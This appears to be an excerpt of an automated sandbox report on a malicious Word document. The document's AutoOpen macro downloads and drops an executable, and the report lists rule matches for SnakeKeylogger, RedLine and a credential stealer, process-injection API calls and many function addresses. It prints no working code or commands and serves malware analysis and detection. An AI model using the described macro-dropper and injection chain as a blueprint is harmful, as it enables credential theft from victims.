          Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000010.00000002.3410753000.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 0000000C.00000001.2208904113.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
          Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects Encrial credential stealer malware Author: Florian Roth
          Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables with potential process hoocking Author: ditekSHen
          Source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
          Document contains an embedded VBA with functions possibly related to ADO stream file operations
          Source: ENQ-0092025.docStream path 'Macros/VBA/ThisDocument' : found possibly 'ADODB.Stream' functions open, savetofile, write
          Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'ADODB.Stream' functions open, savetofile, writeName: AutoOpen
          Document contains an embedded VBA with functions possibly related to HTTP operations
          Source: ENQ-0092025.docStream path 'Macros/VBA/ThisDocument' : found possibly 'XMLHttpRequest' functions response, responsebody, open, send
          Source: VBA code instrumentationOLE, VBA macro: Module ThisDocument, Function AutoOpen, found possibly 'XMLHttpRequest' functions response, responsebody, open, sendName: AutoOpen
          Office process drops PE file
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to dropped file
          Office process queries suspicious COM object (likely to drop second stage)
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXECOM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\InProcServer32Jump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXECOM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}\InprocServer32Jump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284824C NtReadVirtualMemory,8_2_0284824C
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028484BC NtUnmapViewOfSection,8_2_028484BC
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02848BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,8_2_02848BA8
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028479AC NtAllocateVirtualMemory,8_2_028479AC
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284DE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,8_2_0284DE78
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284DFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,8_2_0284DFE4
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284DF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,8_2_0284DF00
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02847CF8 NtWriteVirtualMemory,8_2_02847CF8
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_02848BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,8_2_02848BA6
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028479AA NtAllocateVirtualMemory,8_2_028479AA
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284DE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,8_2_0284DE24
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A824C NtReadVirtualMemory,13_2_029A824C
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A84BC NtUnmapViewOfSection,13_2_029A84BC
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A8BA8 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,13_2_029A8BA8
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A79AC NtAllocateVirtualMemory,13_2_029A79AC
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029ADE78 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,13_2_029ADE78
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029ADFE4 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,13_2_029ADFE4
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029ADF00 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,13_2_029ADF00
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A7CF8 NtWriteVirtualMemory,13_2_029A7CF8
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A8BA6 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,13_2_029A8BA6
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029A79AA NtAllocateVirtualMemory,13_2_029A79AA
          Source: C:\Users\Public\Libraries\Aiymwhpj.PIFCode function: 13_2_029ADE24 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,13_2_029ADE24
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284F0A8 InetIsOffline,CoInitialize,CoUninitialize,Sleep,MoveFileA,MoveFileA,CreateProcessAsUserW,ResumeThread,CloseHandle,CloseHandle,ExitProcess,8_2_0284F0A8
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Windows\SysWOW64\brightness.exeJump to behavior
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285D3678_2_0285D367
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028320C48_2_028320C4
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0285E59A8_2_0285E59A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00408C6012_2_00408C60
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0040DC1112_2_0040DC11
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00407C3F12_2_00407C3F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00418CCC12_2_00418CCC
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00406CA012_2_00406CA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004028B012_2_004028B0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0041A4BE12_2_0041A4BE
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0041824412_2_00418244
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0040165012_2_00401650
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00402F2012_2_00402F20
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004193C412_2_004193C4
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_0041878812_2_00418788
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00402F8912_2_00402F89
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_00402B9012_2_00402B90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_004073A012_2_004073A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_260012B012_2_260012B0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_260012C012_2_260012C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2600155112_2_26001551
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2600156012_2_26001560
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911582212_2_29115822
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911AA5812_2_2911AA58
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911BA7F12_2_2911BA7F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911BD6012_2_2911BD60
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_29118F1812_2_29118F18
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911AF0012_2_2911AF00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_29115FA812_2_29115FA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911B1DF12_2_2911B1DF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_291141E012_2_291141E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911F0C812_2_2911F0C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911D49012_2_2911D490
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911B4C012_2_2911B4C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911B7A012_2_2911B7A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911AC2012_2_2911AC20
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911306812_2_29113068
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911E5D912_2_2911E5D9
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911E5E812_2_2911E5E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2911D48012_2_2911D480
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D0E3812_2_2A1D0E38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D7A2812_2_2A1D7A28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D073812_2_2A1D0738
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D004012_2_2A1D0040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D350812_2_2A1D3508
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D855012_2_2A1D8550
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DB58012_2_2A1DB580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DBE3012_2_2A1DBE30
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D0E2912_2_2A1D0E29
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DBE2212_2_2A1DBE22
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DF25012_2_2A1DF250
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DF24212_2_2A1DF242
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DC27A12_2_2A1DC27A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DF69A12_2_2A1DF69A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DC28812_2_2A1DC288
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DF6A812_2_2A1DF6A8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DC6D012_2_2A1DC6D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DFAF112_2_2A1DFAF1
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DC6E012_2_2A1DC6E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DFB0012_2_2A1DFB00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DCB3812_2_2A1DCB38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DCB2812_2_2A1DCB28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D072A12_2_2A1D072A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DCF9012_2_2A1DCF90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DCF8212_2_2A1DCF82
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DD3D812_2_2A1DD3D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DD3E812_2_2A1DD3E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D000612_2_2A1D0006
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DD83212_2_2A1DD832
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DD84012_2_2A1DD840
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D707012_2_2A1D7070
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DDC9812_2_2A1DDC98
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DDC8812_2_2A1DDC88
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D708012_2_2A1D7080
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D34F812_2_2A1D34F8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DE0F012_2_2A1DE0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DE0E012_2_2A1DE0E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DE53812_2_2A1DE538
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DE54812_2_2A1DE548
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1D854012_2_2A1D8540
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DB57012_2_2A1DB570
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DE99012_2_2A1DE990
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DE9A012_2_2A1DE9A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DB9D812_2_2A1DB9D8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DB9C812_2_2A1DB9C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DEDF812_2_2A1DEDF8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1DEDE912_2_2A1DEDE9
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E6C1812_2_2A1E6C18
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EBA1012_2_2A1EBA10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E7AF012_2_2A1E7AF0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EA34012_2_2A1EA340
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E11A012_2_2A1E11A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E65C012_2_2A1E65C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E461012_2_2A1E4610
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E000612_2_2A1E0006
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EDA0012_2_2A1EDA00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EBA0112_2_2A1EBA01
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EEC2F12_2_2A1EEC2F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E462012_2_2A1E4620
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E802012_2_2A1E8020
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E305812_2_2A1E3058
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E1A5012_2_2A1E1A50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ECC5012_2_2A1ECC50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E545012_2_2A1E5450
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EAC5012_2_2A1EAC50
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E1A4012_2_2A1E1A40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EEC4012_2_2A1EEC40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E004012_2_2A1E0040
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ECC4012_2_2A1ECC40
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EDE7F12_2_2A1EDE7F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E4A7812_2_2A1E4A78
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E4A6A12_2_2A1E4A6A
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E306812_2_2A1E3068
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EAC6012_2_2A1EAC60
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E546012_2_2A1E5460
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E049812_2_2A1E0498
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E1E9812_2_2A1E1E98
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EDE9012_2_2A1EDE90
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EBE8F12_2_2A1EBE8F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E928812_2_2A1E9288
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E048912_2_2A1E0489
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EF0BF12_2_2A1EF0BF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E58B812_2_2A1E58B8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E34B212_2_2A1E34B2
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E9EB012_2_2A1E9EB0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E58AF12_2_2A1E58AF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E58A812_2_2A1E58A8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E1EA812_2_2A1E1EA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E9EA212_2_2A1E9EA2
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EBEA012_2_2A1EBEA0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EB0DF12_2_2A1EB0DF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E4ED012_2_2A1E4ED0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EF0D012_2_2A1EF0D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ED0CF12_2_2A1ED0CF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E34C012_2_2A1E34C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E4EC012_2_2A1E4EC0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EB0F012_2_2A1EB0F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E08F012_2_2A1E08F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ED0E012_2_2A1ED0E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E08E012_2_2A1E08E0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E7AE012_2_2A1E7AE0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E391812_2_2A1E3918
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E5D1012_2_2A1E5D10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E6B1012_2_2A1E6B10
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EE31012_2_2A1EE310
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E390912_2_2A1E3909
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E230012_2_2A1E2300
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E5D0012_2_2A1E5D00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E0D3812_2_2A1E0D38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EC33012_2_2A1EC330
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EA33012_2_2A1EA330
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EE32012_2_2A1EE320
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EC32012_2_2A1EC320
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E615812_2_2A1E6158
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EF55312_2_2A1EF553
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E0D4812_2_2A1E0D48
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E3D7012_2_2A1E3D70
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ED57012_2_2A1ED570
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EB57012_2_2A1EB570
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E616812_2_2A1E6168
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E3D6212_2_2A1E3D62
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EF56012_2_2A1EF560
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ED56012_2_2A1ED560
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E119012_2_2A1E1190
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EB58012_2_2A1EB580
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EA7BF12_2_2A1EA7BF
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E41B812_2_2A1E41B8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EC7B212_2_2A1EC7B2
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EE7B012_2_2A1EE7B0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E65B012_2_2A1E65B0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EE7A012_2_2A1EE7A0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EA7D012_2_2A1EA7D0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E41C812_2_2A1E41C8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EC7C012_2_2A1EC7C0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E15F812_2_2A1E15F8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EF9F012_2_2A1EF9F0
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1ED9F112_2_2A1ED9F1
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1E15E812_2_2A1E15E8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A1EF9E212_2_2A1EF9E2
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25490812_2_2A254908
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25DF1812_2_2A25DF18
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A254FA812_2_2A254FA8
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25322712_2_2A253227
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25712012_2_2A257120
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25C72012_2_2A25C720
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25092212_2_2A250922
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25092812_2_2A250928
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A259C2812_2_2A259C28
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25592812_2_2A255928
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25123712_2_2A251237
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25C73012_2_2A25C730
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25843212_2_2A258432
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25323812_2_2A253238
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25593812_2_2A255938
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25F23812_2_2A25F238
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25AF3812_2_2A25AF38
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25000612_2_2A250006
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A255E0012_2_2A255E00
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25F70012_2_2A25F700
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25B40012_2_2A25B400
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25710F12_2_2A25710F
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25DF0912_2_2A25DF09
          Source: C:\Users\Public\Libraries\jphwmyiA.pifCode function: 12_2_2A25890812_2_2A258908
